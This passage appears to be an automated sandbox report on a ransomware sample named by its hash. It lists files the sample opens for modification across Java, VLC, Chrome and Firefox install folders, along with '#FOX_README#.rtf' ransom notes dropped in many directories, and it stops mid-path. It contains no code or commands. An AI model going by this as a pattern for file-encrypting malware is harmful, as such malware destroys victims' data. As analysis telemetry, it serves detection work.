f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-editor-mimelookup-impl.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.addons.swt.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\setNetworkClientCP.bat f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jvm_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ecf.identity_3.4.0.v20140827-1444.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ecf.provider.filetransfer.ssl_1.0.0.v20140827-1444.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\index.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-options-keymap.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\topnav.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.help.base_4.0.200.v20141007-2301.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\core\com-sun-tools-visualvm-modules-startup.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.osgi.compatibility.state.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\rmid.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.extensionlocation_1.2.100.v20131119-0908.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\org-netbeans-lib-profiler-ui.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\java.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\cmm\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.net.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\skins\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\ECLIPSE_.RSA f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-nodes.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\hrtfs\dodeca_and_7channel_3DSL_HRTF.sofa f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\win7.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_classic_winxp.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\javafxpackager.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\ktab.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-threaddump_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\chrome.VisualElementsManifest.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Update\1.3.35.452\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.greychartplugin_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\setNetworkServerCP.bat f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\epl-v10.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-progress-ui.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk_1.0.300.v20140407-1803.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyLocale_it.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-core.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.flightrecorder_5.5.0.165303\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jface.text.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.text.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-coredump_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-uihandler.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\about.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.security.win32.x86_64_1.0.100.v20130327-1442.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\security\java.security f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\images\cursors\win32_MoveNoDrop32x32.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\jce.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.widgets_1.0.0.v20140514-1823.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\orbd.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_mru_on_win7.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-uihandler.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\ReadReset.vsx f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.osgi.services.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sa_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\core\core.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\COPYRIGHT f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\zu\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\minidump-analyzer.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\resources.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\chrome_pwa_launcher.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\org-netbeans-lib-profiler-ui.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\messages_fr.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\ffjcext.zip f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\flight_recorder.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_preferencestyle.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\intf\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\zh-TW.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui_2.3.0.v20140404-1657.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\clearkey.dll.sig f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-lib-profiler-common.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\olh.htm f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-keymap_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\js\controllers.js f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-selector-ui.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-openide-options.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jetty.continuation_8.1.14.v20131031.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\es-419.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\org-netbeans-lib-profiler-charts.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.artifact.repository.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-services_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\core\locale\com-sun-tools-visualvm-modules-startup_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.security.ui_1.1.200.v20130626-2037.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.widgets.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-sampler.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-modules-profiler.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\wa\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Mozilla Firefox\fonts\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.bindings.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\browse_window.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core-io-ui_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\jfr\profile.jfc f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jdeps.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-ui_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\include\jni.h f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\ext\zipfs.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-core-kit_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\.eclipseproduct f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-autoupdate-ui.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.diagnostic.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-application_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\vimeo.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\javafx.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\equalizer_window.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\default_apps\external_extensions.json f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.util_1.0.500.v20130404-1337.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\psfont.properties.ja f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.help.webapp_3.6.300.v20140407-1855.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Mozilla Firefox\defaults\pref\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rcp.application.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.http.jetty_3.0.200.v20131021-1843.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\tl\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\unpack200.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.core.contexts_1.3.100.v20140407-1019.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-coredump_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\http.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.update.configurator_3.3.300.v20140518-1928.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4-dark.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program 